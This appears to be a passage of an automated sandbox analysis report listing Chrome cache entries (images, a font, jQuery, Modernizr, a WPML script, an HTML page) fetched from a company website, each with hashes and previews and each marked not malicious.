Preview:	.PNG........IHDR.............B......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:30833223496011E5A918F78BFA243EFD" xmpMM:DocumentID="xmp.did:30833224496011E5A918F78BFA243EFD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:30833221496011E5A918F78BFA243EFD" stRef:documentID="xmp.did:30833222496011E5A918F78BFA243EFD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..7...5.IDATx..}..T.....)...t./HW.]...5.D.W...........bbW.Q.....RT..P..,,.M}.....{ovfvfY?.<?.....{...{.}...7

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:RFUBLSn:jF
MD5:	69A6D6AC1F32FCB4D6F7FDB41A48750A
SHA1:	F30CAC04A502E28CD6659D05E17B3B1D828D9CFB
SHA-256:	2BEDB435BD912846827C7B366FA3D655076CA65D5329379220F4BD812FA5AF93
SHA-512:	14FFEFAFA59D5A581806E07AA6EB8585720ACCAD797674EFC9F64F2D9D5855BF4B070611091B66E3C5AE4BC30B4D671CDD990873578EE3433F51153ED47F6E6C
Malicious:	false
Reputation:	low
Preview:	// /js/131326.js

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (409), with no line terminators
Category:	downloaded
Size (bytes):	409
Entropy (8bit):	5.071644775975722
Encrypted:	false
SSDEEP:	12:mtt3FxSFfVBPIwwsMtRsb4KpfNEpSuIXqEn:mxFMBPIaMu4KlNt1X7
MD5:	B2CB713D9736E814A08353C2FEDCB8E1
SHA1:	E5875894947716625D15D46C92DE1B5A222725A9
SHA-256:	F7BB442B06BFB13ECFEE3C3EC2B6B19440A33E080CA9378F8D6F161281BD01ED
SHA-512:	1F3C9906E4566A4DB12379558A6DA10159F0A8B692C72080D1348EE50FDBA1A8B98A2AE93CA8D1CC4F3925067FB25D33B560F9F7ED5B0AE76655F01BFDAA8C94
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/script.min.js?ver=1
Preview:	"use strict";var WPMLLanguageSwitcherDropdown=function(){function t(e){(e=e\|\|window.event).preventDefault&&e.preventDefault(),e.returnValue=!1}return{init:function(){for(var e=document.querySelectorAll(".js-wpml-ls-legacy-dropdown a.js-wpml-ls-item-toggle"),n=0;n<e.length;n++)e[n].addEventListener("click",t)}}}();document.addEventListener("DOMContentLoaded",function(){WPMLLanguageSwitcherDropdown.init()});

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 8800, version 1.0
Category:	downloaded
Size (bytes):	8800
Entropy (8bit):	7.934844072529672
Encrypted:	false
SSDEEP:	192:rA71Gknn4tXD2xepeYRjUtNPIiAUlRwniwMQ/s:c7nnsXDeelUIiAUlRwNE
MD5:	D2A226EFC4AFF51F904B83E03441C8C1
SHA1:	23449823627CCBDCEEEC36A7CF1097ACB8CF9D4A
SHA-256:	BFB661731AA4E315BCC044D0DB1D6CC017F967454DF6C16BF38CE815975CB2BB
SHA-512:	690DC0BA18238522114E2C461FD64EC1FF954EAD663348403249C9D19F84F872830138F84BED6D845B0B4BABF9C54CE7A83E6E1FBDFB9F3E81D322E569E9F925
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/fonts/fontello/font/fontello.woff?96939179
Preview:	wOFF......"`......3.........................OS/2...D...D...V>(H.cmap.......:...J.@..cvt ................fpgm...........p...Ygasp...d............glyf...l...p......Y.head.......5...6....hhea....... ...$....hmtx...4...l.......loca.......d...d.L..maxp....... ... ...oname...$...w.......post.. ....\.......eprep..!....e...{.k..x.c`d.d......T......B3>`0ddb``b`ef....\S..^0..g.......0.(.......}x.c```f.`..F..p....\|... ........^....R...DK0B...#......................x..Vis.G...a.6>...6.Y.r.vV......J.....B.]Kv.O....^.T.o......`'UT(J....L..^...^X...\|)..6id.IH7lZ..C...)SL....h...8$"...u.%.....$.C.2Z.%.jRn.Iw........Q...%5..C.-...E2.6-.._IZ..+.\|..%..$..a...g.V...v.E.M..E.D3<."..Zb.\1A@...R^.4.\|....{...q.v...%?...$.z..%..@vd.{.+."....lG...t}'.#....Q^.h.vE.'....W.X..e...j.\|.<.....Z/sb_....GL.k&..N.....c....],.!..8...J..F)a..$m.9...E..zGL..:-.-a.N..Kg.I.;1........x4..L.N....QJ:.<......$......il3c$.P..si.e'.4..<...a.k.E.<P.=zOon..;=...?k.gu...0....J\|.v.I.~z..&.C..*.-6.

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	48439
Entropy (8bit):	7.363136811106029
Encrypted:	false
SSDEEP:	768:Ox+O+tQxFkSsnVMhEys8AH47wlc650fIDOgy/PgtK++aF2uk+Xmr5p:W+NtQgSsnWhqRkz65vDO8PTZXmrH
MD5:	749EA5CB27C4F1BCECB4690175F11676
SHA1:	A4C0C724CF9DFD2F4497AF26A58C8B74AEB56E0C
SHA-256:	1A35D60E8FBCE0F6269226909F9E16E57BC7233D96296753D6ACFB8EDE90F441
SHA-512:	58B09B1D775E4E5041FC8C13D9EE9DDA84260D064276C00EC06A1A490ABE900B477BE4B2E7FA0C6F6E10FE313440A4E07BA977572C317D505C4E2AC3BE659748
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/door-inner-with-header.jpg
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:A78DFEBEB64211E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:C4BA49CAB64211E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A78DFEBCB64211E5960E89E0CB43E699" stRef:documentID="xmp.did:A78DFEBDB64211E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32038)
Category:	dropped
Size (bytes):	95957
Entropy (8bit):	5.39099763946861
Encrypted:	false
SSDEEP:	1536:OP10iSi65U/dXXeyhzeBuG+HYE0WEeLDFoNqLTW8+S5VRZIVI6xSb8xh2ZbQnRmc:R+41ZqLTW8xRrqSb8qGH77da98Hrf
MD5:	895323ED2F7258AF4FAE2C738C8AEA49
SHA1:	276C87FF3E1E3155679C318938E74E5C1B76D809
SHA-256:	ECB916133A9376911F10BC5C659952EB0031E457F5DF367CDE560EDBFBA38FB8
SHA-512:	C40111C3CC0754E90CF71F72F7F16F43B835B7E808423DFD99F90DD5177538B702E64FF1D9EE8D3BC86AEAA11B6F7A0EF826184E354B162158839FFB75D174CC
Malicious:	false
Reputation:	low
Preview:	/! jQuery v1.11.3 \| (c) 2005, 2015 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.3",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){ret

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	19779
Entropy (8bit):	7.228910051315684
Encrypted:	false
SSDEEP:	192:Xpma38yTrnNrjNXNU855qOcxupCBtOPcBv+eIntgklF+mSJsig+hpqnIBmGOGbDI:KyTrNlX+kqlhtCtddig+hpqn4xpDbc
MD5:	98CD30D0942EBEDE68A95D7D19138119
SHA1:	B927E5F7D66AA152A3B3D8FAD784D960D1274DFD
SHA-256:	0C540E13BAF9316A071D3A4487BE5BFAD9FB75009ECCEBAF0C51C2351E9D4C1D
SHA-512:	EE64A538D83BAC295872AA3740CE80BA16505354E2DE9C7D647A3C4A78F4F5ED8D79857B85E7987DDF50B1005E4DE1E2FD6107AB848D440D38181C0545C7B56F
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:08451555093011E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:08451554093011E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	dropped
Size (bytes):	135808
Entropy (8bit):	7.984828276495795
Encrypted:	false
SSDEEP:	3072:ASEgNhhVdoBVb60W4yTU+owd7Mo6eJvr3NWJCc2wFCX5:AkdVOxW4qtH7h6el3dc2wFCX5
MD5:	E8755E7CABE9D79570FE3C7A06E3709E
SHA1:	C1AFCF1240FC6B3B506FD4BA48B9411A1FA98075
SHA-256:	812891EF571C79869577DE9390D51041653273D791F7A4F0A9ACAD6B500F3A94
SHA-512:	9992AD2EDF92ACC75CB17970DCBCF0AD96B7AF30D3C5DA0DDF00D955C5F3E9FAB66FCDB9A10748DF325F3A59441A295F6FCF216B853E1F72BE2223B569E3DE74
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:64ECC761594311E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:64ECC760594311E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 455 x 99, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6215
Entropy (8bit):	7.928883588522041
Encrypted:	false
SSDEEP:	192:oR9ev8vEW5uJkCRWSRNelzlSylrOgTNxtCUxD:c0CELHXElSyx/tNh
MD5:	279358B3FC005833384366266D2E853A
SHA1:	EDD19378DC72DA47197DC9326E29A05C201824E7
SHA-256:	3C688C45D05E26CC21D7AB8C9949344A5B8CD9B644EC539C0802FB67834D8C5B
SHA-512:	AEBED1CF1762C0A9B3AE1AEF6569CB1AD0835563C358AF78541E6534A784CCB1D6CE7AE20DFA85B6D973E055C4C0C5B3CB950E85F425AD70E657C42BCA415235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......c.............bKGD.......C......pHYs...#...#.x.?v....tIME.....1...=....tEXtComment.Created with GIMPW.......IDATx..]_.$.}..r.<E.%.)....q......9..$.!7k....z,.....Z.A..7........!..dg....v/o.1;..@..P..~..qD.A..1..<.o....LUu.L....a.{.......w.%.RI.@.@].].P..g..x......@.x.. ..0.F........b..O...}..$K. ....T......M....>.%A..Q.r...#.X[.{....8.:N9-.. H..&...m.QI..).].$A...q....Jl:..... 3...V..%....v..@....&.A.$G.X.p.@.=x.......:..}Q..N.. ..cQR.!.).$.c..&.qEB..C...8.... ....J@mQ.....`...#......C....SN.. ......A.pc.......\|..$t......t..A..Ar4!.#......x.R`.x..I.M....I..Ar.E.......=!.R...I..,.h(...T".. 9..I$jk..q.,.e.3....\|+8...y...... ....!.ta..:...M`5.....\|..(.3......;.R.A.kL......U+.1..#.g........N+. .j.'............"._...?....^m....g........z.......3s....W[.....E...F..R1^..x3E1N....KZ./pz..A..9Jk.....t....r.....\|.OZ>...7..C.e.....D.^.....<ET...J.AV....._.......j.w...B..\..._c.$aI&M\|T.n..f......%D.G.~.n.....!y....O...\...?... .E.r<3...M.sL......."

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (12880)
Category:	dropped
Size (bytes):	13380
Entropy (8bit):	5.330901876538843
Encrypted:	false
SSDEEP:	384:GzMmHW5MxT6jhomAul1KQoZRY5y6jHh1pz:GzMWGh/A0Kr25y6jHl
MD5:	B5D515B8F7FAC46027E60F37D73CBC51
SHA1:	C155D244E2CF60CF0616F8F3A5721A7987A255C2
SHA-256:	4FD944887D3A2438C387A3B6C9BF475A106EED33D7CA307ED94CAFDDC1A31553
SHA-512:	781E16329A2DACA844807B1FCD40F5E8AE8C3FE029A8F3FCFA18A2EFC084CBE7A9120BE742C5BE18A5E056EC94A96740D098D007DD382D2E76A353C4957C370F
Malicious:	false
Reputation:	low
Preview:	/* Modernizr 2.8.3 (Custom Build) \| MIT & BSD. * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-flexboxlegacy-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-cssgradients-cssreflections-csstransforms-csstransforms3d-csstransitions-canvas-draganddrop-audio-video-geolocation-inlinesvg-smil-svg-svgclippaths-touch-webgl-shiv-cssclasses-teststyles-testprop-testallprops-hasevent-prefixes-domprefixes-load. */.;window.Modernizr=function(a,b,c){function C(a){j.cssText=a}function D(a,b){return C(n.join(a+";")+(b\|\|""))}function E(a,b){return typeof a===b}function F(a,b){return!!~(""+a).indexOf(b)}function G(a,b){for(var d in a){var e=a[d];if(!F(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function H(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:E(f,"function")?f.bind(d\|\|b):f}return!1}function I(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");ret

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 202, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	17604
Entropy (8bit):	7.963820744847596
Encrypted:	false
SSDEEP:	384:QM7vqaqdOVz9fyMN7ySzE280j//Z+NMlks+1D4c9:hvkdOV88+ifryMlLwp9
MD5:	93B160E028062BC61FE93416C76E0F01
SHA1:	C106E388D0FB815AC60102B9815C4B9F96137460
SHA-256:	45768157C82C0DF974F1D17B82AAD640042F6853BDD09DF24FE6091F16152651
SHA-512:	AA8BCFE35D8BFB77130AC89AB6B846E3A5100CAAE9F63170726DBAD8B0C161A75859F4F0369781A9654B33976955A22BE2503C33F636CF463EADBDAA1681ACA3
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/iso-14001.png
Preview:	.PNG........IHDR.............D..F....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:2B93DE70439411E5B4CD90028FE3513D" xmpMM:InstanceID="xmp.iid:2B93DE6F439411E5B4CD90028FE3513D" xmp:CreatorTool="Adobe Photoshop CS5 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D6B6516FA6BB11E388DD85B00164A8CD" stRef:documentID="xmp.did:D6B65170A6BB11E388DD85B00164A8CD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..TZ..A8IDATx...xTE..o7.Y. .8".FG.d.....A.dDF.....Q`..D..\...."K......W..5.HD...,..e.$A@ .;I...oo...u..ow.z...^.R.~.

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 600x450, components 3
Category:	downloaded
Size (bytes):	18989
Entropy (8bit):	7.956649507845701
Encrypted:	false
SSDEEP:	384:2bIn9ICi/PuckvJ1nUhE5GhI7mT0XBBr32Ayosf9480GRFX+g8:OCgPuckfx3zr3INP0gFXO
MD5:	A30C4CD8918ED61621D88BD73F315299
SHA1:	7938854EA0078F63D598BAACD0A3D846A470081F
SHA-256:	BA2789A717CD2EACCB402EB011D6E211FEE965D17327B7F7CEFB501AA47C1380
SHA-512:	A51E0187E659166EC095F97CCA112E1E7C796623FB465D046FDC2F8BE2FE72067B01AB155CA2B2B068C18A551B476F5010F66035FFCAD89E85B0EE4C49920CE0
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/09/twb-video-thumb.jpg
Preview:	......Exif..II*.................Ducky.......2.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:E3B08185599711E5BEEECBB76CCA2AC5" xmpMM:DocumentID="xmp.did:E3B08186599711E5BEEECBB76CCA2AC5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E3B08183599711E5BEEECBB76CCA2AC5" stRef:documentID="xmp.did:E3B08184599711E5BEEECBB76CCA2AC5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................#"""#''''''''''.................................................

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	19334
Entropy (8bit):	7.087950069728156
Encrypted:	false
SSDEEP:	384:rfg4S3P1kj0WRjPTatI1dVScgxvG1TxNqcIhG87s+OJr:rfgD/1i0iygd4PG1lIds/d
MD5:	E3AEE09837E30888D6E184001DE571CB
SHA1:	C9E4A2D34C9154361ADA74E03565448F71FF3397
SHA-256:	6A25DFF92B8C71467207C674E6DE346BE88FCBBAA02E6E0E76E192BA080C8E6C
SHA-512:	D51D0B34FA3A2E1B6419930F830E05343036A26367FB5840F7749F6F94387F8CD84C6E46E0C3EBF10A83D2D81EEF8A676CD252A3B575F16A4C96BF8FD597AE6C
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F42E628A092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:F42E6289092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	19779
Entropy (8bit):	7.228910051315684
Encrypted:	false
SSDEEP:	192:Xpma38yTrnNrjNXNU855qOcxupCBtOPcBv+eIntgklF+mSJsig+hpqnIBmGOGbDI:KyTrNlX+kqlhtCtddig+hpqn4xpDbc
MD5:	98CD30D0942EBEDE68A95D7D19138119
SHA1:	B927E5F7D66AA152A3B3D8FAD784D960D1274DFD
SHA-256:	0C540E13BAF9316A071D3A4487BE5BFAD9FB75009ECCEBAF0C51C2351E9D4C1D
SHA-512:	EE64A538D83BAC295872AA3740CE80BA16505354E2DE9C7D647A3C4A78F4F5ED8D79857B85E7987DDF50B1005E4DE1E2FD6107AB848D440D38181C0545C7B56F
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2018/04/AlTB-Tunnel-AA6014.jpg
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:08451555093011E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:08451554093011E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	38968
Entropy (8bit):	5.4122576049805495
Encrypted:	false
SSDEEP:	768:vkXX0FZdapFciPTmmogB1bwo8caJhgbr1clX2R8xnIhW:LapC8TmmogB1bTdTkGR8xnIhW
MD5:	38E5D599E1DE1DDAD69A48AC9CE0778E
SHA1:	885E5CEF718F15C0FCFEAE610A700E11A3CED752
SHA-256:	C50F799823E2AFE20955E44B0A0B52E9C56FA54F136DD0A0F8138F295A9FE3DA
SHA-512:	A6D5D35FC2DE517093404BC878845E6171B671E28D9619FE598D332DAA99840237A13A4FC5E2210EA27AD6C403BC958B4716948C02FD0ACEB4E8AC9E5BFF60CC
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/commercial-transportation/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	4305
Entropy (8bit):	5.052504385491908
Encrypted:	false
SSDEEP:	48:Hi3ZOrhFzhZ9BBCe+OtnIEfaHjkVynEB/Eq8NWg/P5A99Bmfpf3bCiOU:Hi3ZOrhXZ9We+OBIO8AeQ27/P5AyrBOU
MD5:	34607B589C57EB1F0F1570FC4CA8AF17
SHA1:	895161234750234D7F3D0ABD19D412CA6438FB75
SHA-256:	D6BA80FA6F62488DC30FE2440F1BC93080F1CBAC0580E646ABED672978E96274
SHA-512:	DCC0B77D5C780C947761D3CF970CC09E790E021B933F1078FA931CCD8F03D5B28F41229A87FEB59CE9BC53056AAE233D8B9DFEDDF60D5D37D7B951338E935BB4
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/fonts/fontello/css/fontello.css
